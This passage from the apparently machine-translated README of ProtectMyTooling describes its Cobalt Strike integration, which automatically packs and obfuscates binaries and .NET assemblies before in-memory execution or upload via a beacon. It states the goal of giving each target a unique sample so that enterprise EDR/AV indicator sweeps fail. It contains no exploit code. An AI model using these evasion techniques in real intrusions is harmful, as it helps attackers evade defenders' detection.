アイデアは、execute-assemblyによって使用されるアップロードされたすべてのバイナリまたは.NETアセンブリを保護する自動化されたプロセスを持ち、各使用の前にそれらを手動で保護または難読化することを忘れることです。実行可能ファイルを変換する自動化されたアプローチの追加の利点は、使用されるたびに同じ実行可能ファイルを保護できることです。その結果、ターゲットマシンで一意のサンプルが起動されます。これは、異なるマシンで同じアーティファクトを探しているときに、EDR/AVの企業全体のIOCスイープをうまく欺くはずです。

さらに、protected-execute-assemblyコマンドには、そのアセンブリを検索する機能があります。 事前設定されたアセンブリディレクトリ(dotnet_assemblies_directory設定で設定)に名前のみが指定されました。

それを使用するには:

  1. CobaltStrike/ProtectMyTooling.cna
    コバルトストライクをロードします。
  2. メニューに移動し、すべてのオプションを設定します

オプション

  1. 次に、ビーコンのコンソールで、次のコマンドを使用できます。
  • protected-execute-assembly
    -ターゲット上で、以前に保護され圧縮されたローカルの.NETプログラムをメモリ内で実行します。
  • protected-upload
    -入力ファイルを取得し、PE実行可能ファイルの場合は保護してから、そのファイルを指定されたリモートの場所にアップロードします。

基本的に、これらのコマンドは入力ファイルを開き、最初に

CobaltStrike/cobaltProtectMyTooling.py
スクリプトに渡します。スクリプトは次にを呼び出します
ProtectMyTooling.py
。バイナリが難読化されるとすぐに、実行/アップロードのためにビーコンに渡されます。

コバルトストライク関連のオプション

Here's a list of options required by the Cobalt Strike integrator:

  • python3_interpreter_path
    - Specify a path to Python3 interpreter executable
  • protect_my_tooling_dir
    - Specify a path to ProtectMyTooling main directory
  • protect_my_tooling_config
    - Specify a path to ProtectMyTooling configuration file with various packers options
  • dotnet_assemblies_directory
    - Specify local path .NET assemblies should be looked for if not found by execute-assembly
  • cache_protected_executables
    - Enable to cache already protected executables and reuse them when needed
  • protected_executables_cache_dir
    - Specify a path to a directory that should store cached protected executables
  • default_exe_x86_packers_chain
    - Native x86 EXE executables protectors/packers chain
  • default_exe_x64_packers_chain
    - Native x64 EXE executables protectors/packers chain
  • default_dll_x86_packers_chain
    - Native x86 DLL executables protectors/packers chain
  • default_dll_x64_packers_chain
    - Native x64 DLL executables protectors/packers chain
  • default_dotnet_packers_chain
    - .NET executables protectors/packers chain

Known Issues

  • ScareCrow
    is very tricky to run from Windows. What worked for me is following:
    1. Run on Windows 10 and have WSL installed (
      bash.exe
      command available in Windows)
    2. Have
      golang
      installed in WSL at version
      1.16+
      (tested on
      1.18
      )
    3. Make sure to have
      PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True
      set

Credits due & used technology

  • All packer, obfuscator, converter, loader credits goes to their authors. This tool is merely a wrapper around their technology!

    • Hopefully none of them mind me adding such wrappers. Should there be concerns - please reach out to me.
  • ProtectMyTooling also uses

    denim.exe
    by moloch-- by some Nim-based packers.


TODO

  • Write custom PE injector and offer it as a "protector"
  • Add watermarking to other file formats such as Office documents, WSH scripts (VBS, JS, HTA) and containers
  • 今後、他のいくつかのパッカー/ローダー/ジェネレーターのサポートを追加します。

免責事項

このツールや、私が作成した他のプロジェクトを違法な目的、一方的なハッキング、サイバースパイ目的で使用することは固く禁じられています。 私が配布するこのツールやその他のツールは、プロの侵入テスター、セキュリティコンサルタント、セキュリティエンジニア、その他のセキュリティ担当者が顧客ネットワークのサイバー防御機能を向上させるのに役立ちます。
いかなる場合も、作者または著作権所有者は、このソフトウェアの違法な使用から生じるいかなる請求、損害、またはその他の責任についても責任を負わないものとします。

懸念、著作権の問題、このソフトウェアによってもたらされる脅威、またはその他の問い合わせがある場合、私は責任を持ってそれらに対処するために協力することを歓迎します。

このツールは、ほとんどがオープンソースまたは市販のパッカー/プロテクター/難読化ソフトウェアを使用するための便利なインターフェイスを公開しているため、サイバーセキュリティの状況にすぐに新しい脅威をそのまま導入することはありません。


サポートを表示

このプロジェクトや他のプロジェクトは、眠れない夜とたくさんのハードワークの結果です。私の仕事が好きで、私がいつもコミュニティに還元していることに感謝しているなら、 ありがとうと言うだけで私にコーヒー(またはより良いビール)を買うことを検討してください! 💪


著者

   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)